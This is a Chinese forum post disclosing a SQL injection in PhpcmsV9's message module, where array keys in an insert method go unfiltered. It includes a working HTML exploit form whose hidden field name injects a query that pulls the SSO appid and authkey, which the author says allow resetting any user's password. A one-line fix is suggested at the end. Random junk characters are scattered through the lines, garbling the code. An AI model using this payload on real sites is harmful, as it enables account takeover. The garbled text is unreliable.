找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2512|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
  R9 h# Z% q9 R# B" i( S
* {+ F9 x! W( S) Y0 o第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
9 ]6 C/ {4 y5 |: \; S
0 w' w, U5 P& z" k4 n/ s% e  m明天再更新下一个漏洞。
. f& r& `0 q: w" I% \$ C详细说明:
! o' J6 c* v9 K' y1 _在/phpcms9/phpcms/modules/message/index.php中有代码如下:0 g& r- m; E" d+ k( s
$ |! _9 J$ V) Y* `0 K0 M
$messageid = $this->message_db->insert($_POST['info'],true);
8 Y6 c3 n, [- j& G4 T
% X' p* d6 N* @$ i# b' x3 E
2 G$ r7 ~( q% A) C1 `/ @5 [( v& ainsert方法是key value的,代码如下:# N, f  m  Z( y# V
4 l8 I" Y3 a. ?  @" a! p+ e# V! I
public function insert($data, $table, $return_insert_id = false, $replace = false) {5 ^# x1 y4 q& y. E# h
                if(!is_array( $data ) || $table == '' || count($data) == 0) {; v* Z. Y; Z! p8 g
                        return false;
. q' v, C1 D% W% I                }
2 t6 b4 K. x; g% W- T, F. x3 y                + n5 S; X+ K! b
                $fielddata = array_keys($data);
9 T7 [# a# ?! r3 z                $valuedata = array_values($data);) u) ?& k* ]( ^! k
                array_walk($fielddata, array($this, 'add_special_char'));
6 g5 t+ U2 U1 M  ]; k# S                array_walk($valuedata, array($this, 'escape_string'));: [) t- \+ j3 M! k/ P
               
2 o/ p. D5 ]! {2 E& i  g. o                $field = implode (',', $fielddata);$ Y4 T5 v# l# C! B5 m: A: Z
                $value = implode (',', $valuedata);+ l$ |$ Z- j% k" N
" C; [5 {) s6 _$ @1 Z+ D
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
3 X9 ^" Q5 k- ]4 i. w8 n/ W. O" _                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! F9 b5 W) L  N8 z" X
                $return = $this->execute($sql);, u8 T2 N$ p! w: f% H$ V5 I4 d" Z
                return $return_insert_id ? $this->insert_id() : $return;
6 E6 g9 m( v& i( r: A        }
. W1 @4 V2 u6 ^9 n) W$ M& d* H: e& U' ^

, ^( w0 G1 x% b( R5 n3 b2 Z3 @嗯,很遗憾的是+ s, Z, ^  c' B) j& I" B

4 c( a- k; r: P# C. Y0 T* T% sarray_walk($fielddata, array($this, 'add_special_char'));
, n! L, l; O6 }, f7 `' m. c- ~
; @) t8 G5 m- W! J, g- g( M- F8 i
6 Z- {1 j6 n+ N9 y. l中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。2 ]4 j: z! V  Q) m: {
+ J) w( S0 Z# M; r
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
  e# J3 B! {: n6 l( I4 E- e8 x1 k4 m) h& T% M
漏洞证明:* }5 `. O3 w  Q( I2 L, X- O; a$ X! I
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
* a# P1 j" P& u6 E
0 j0 C; Q3 V& W$ Y$ S' O7 v2 a' d
. K1 {) Z! {4 Y% r2 p6 ]0 Q( I表单如下:用户名什么的得自己改一改。
3 x: A7 D* _0 J/ d: N1 b0 R, T9 v* Z<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
$ e8 R- s: a; {; R" T' O<table width="100%" cellspacing="0" class="table_form">& r. }0 W! H" h, s+ }6 _
<tr>7 D. m3 y( j7 N
<th>标 题:</th>
" Y6 D, k) r( E<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>8 u5 \6 O2 {& @) x! c5 t3 W# L
</tr> 4 x# Y* p' h5 X, A
<tr>
. `% J1 Q/ ?3 \. L9 w/ r<th>内 容:</th>, q! [* L8 v3 x- j8 X
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
; u; s: E+ h/ c' v</tr>$ p/ m, x! \- j' b) M6 f1 q0 T& o
<input type="hidden" name="info[replyid]" value="2" />
( C; [: I! b. F& w& `3 k# g<input type="hidden" name="info[send_to_id]" value="cc" /> ! @5 W  _' M1 ]9 R
<input type="hidden" name="info[send_from_id]" value="hh">! O- ~  z' k1 i
<!-- 漏洞的利用重点在这里开始 -->' A8 N: p* n+ X9 W+ ~; S8 ?: y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 2 f4 s7 _( e4 R$ f. s' _1 ^1 w
<!-- 漏洞的利用重点在这里结束 -->0 ?! m& Z. R/ z, ]( a2 p4 L
<tr>
) B& Y9 ]9 E$ R# y7 b9 m<th>验证码:</th>
, ?- y( ?$ f9 \3 [2 v<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>8 q. H/ G, v/ v, O2 L
</tr>
; I9 i) B7 ?5 Q: N- H<tr>- c2 v" ~- i5 ^
<td></td>/ Y1 e( G+ n: f: z
<td colspan="2"><label>
  e! S) J6 H3 L/ U<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
% ^+ ]  `& C& F9 D/ B+ f</label></td>( u  I8 ]6 l9 e8 i
</tr>
( h. r$ W/ W  f8 V. C</table>& o. `0 [2 w, t, H; O* t* r
</form>
& \. A; }: v* U: f/ L在add_special_char函数内对key做过滤就可以了。, J6 x# F) R* L, C* p0 q
! x6 `. W; s+ {4 k6 w
1 d( ?0 T6 ?) K, l

. j4 D* A7 z9 r. Y9 A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表